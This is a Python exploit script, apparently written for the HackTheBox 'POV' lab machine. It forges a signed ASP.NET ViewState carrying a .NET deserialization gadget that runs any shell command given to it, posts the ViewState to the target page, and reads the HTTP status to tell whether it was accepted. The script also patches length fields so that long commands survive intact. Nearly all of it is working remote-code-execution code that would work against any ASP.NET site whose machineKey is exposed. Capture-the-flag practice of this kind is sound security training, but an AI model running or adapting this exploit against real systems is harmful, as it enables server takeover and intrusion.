#!/usr/bin/env python3
"""POV (HTB) ViewState RCE driver — Linux-native, no wine/mono.
viewgen builds a TypeConfuseDelegate LosFormatter gadget (no WPF);
vs45 re-signs it with the ASP.NET 4.5 purpose scheme;
this script posts it and reads the 200/302 oracle.
./.venv/bin/python vs45_pwn.py "ping $(htbip)"
Required env: VKEY, DKEY. Overrides: VSURL, VPATH, APPPATH, VALG, DALG.
"""
import base64, os, sys, urllib.parse, urllib.request, urllib.error
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
import vs45
VSURL = os.environ.get("VSURL", "http://dev.pov.htb/portfolio/default.aspx")
VPATH = os.environ.get("VPATH", "/portfolio/default.aspx")
APPPATH = os.environ.get("APPPATH", "/")
VALG = os.environ.get("VALG", "SHA1")
DALG = os.environ.get("DALG", "AES")
# The box's machineKey values come from the target (web.config), never this
# repo: they are box-specific loot, and the repo is public.
def _key(name):
v = os.environ.get(name, "").strip()
if not v:
sys.exit(f"vs45_pwn: set {name} (hex, from the target's web.config machineKey)")
try:
return bytes.fromhex(v)
except ValueError:
sys.exit(f"vs45_pwn: {name} is not hex")
VKEY = _key("VKEY")
DKEY = _key("DKEY")
def _net7bit(n):
out = bytearray()
while n >= 0x80:
out.append((n & 0x7f) | 0x80)
n >>= 7
out.append(n)
return bytes(out)
def _read7bit(buf, i):
val = shift = 0
while True:
b = buf[i]; i += 1
val |= (b & 0x7f) << shift
if not (b & 0x80):
return val, i
shift += 7
def gadget(cmd):
# TypeConfuseDelegate LosFormatter gadget (cmd /c <command>) from viewgen's
# template. Two length fields must be fixed for long commands, neither of
# which viewgen handles -- both silently corrupt payloads >~50 bytes while
# the MAC still validates (HTTP 200 but no execution):
# 1. the inner BinaryFormatter string prefix (7-bit, not one byte);
# 2. the OUTER ObjectStateFormatter blob length (token 0x32), which CAPS
# how many bytes LosFormatter reads -- too small truncates the stream.
tmpl = base64.b64decode(open(os.path.join(
os.path.dirname(os.path.abspath(__file__)), "gadget_template.b64")).read())
if tmpl[:3] != b"\xff\x01\x32":
sys.exit("unexpected ObjectStateFormatter header")
_, blob_start = _read7bit(tmpl, 3) # skip the outer length field
blob = tmpl[blob_start:]
marker = b"\x0f/c ping 8.8.8.8"
arg = ("/c " + cmd).encode()
blob = blob.replace(marker, _net7bit(len(arg)) + arg)
if marker in blob:
sys.exit("gadget template replace failed")
return b"\xff\x01\x32" + _net7bit(len(blob)) + blob # rewrite outer length
def main():
if len(sys.argv) < 2:
sys.exit('usage: vs45_pwn.py "<command>"')
blob = vs45.protect(gadget(sys.argv[1]), VKEY, VALG, DKEY, DALG, VPATH, APPPATH)
ok, _ = vs45.verify(blob, VKEY, VALG, DKEY, DALG, VPATH, APPPATH)
vs = base64.b64encode(blob).decode()
print("self-check MAC:", "OK" if ok else "FAIL", "| len", len(vs))
body = urllib.parse.urlencode({"__VIEWSTATE": vs,
"__VIEWSTATEGENERATOR": os.environ.get("GENERATOR", "8E0F0FA3")}).encode()
req = urllib.request.Request(VSURL, data=body,
headers={"Content-Type": "application/x-www-form-urlencoded"})
try:
code = urllib.request.urlopen(req, timeout=40).status
except urllib.error.HTTPError as e:
code = e.code
verdict = "accepted" if code == 200 else ("bad MAC" if code == 302 else "?")
print(f"HTTP {code} # {verdict}")
if __name__ == "__main__":
main()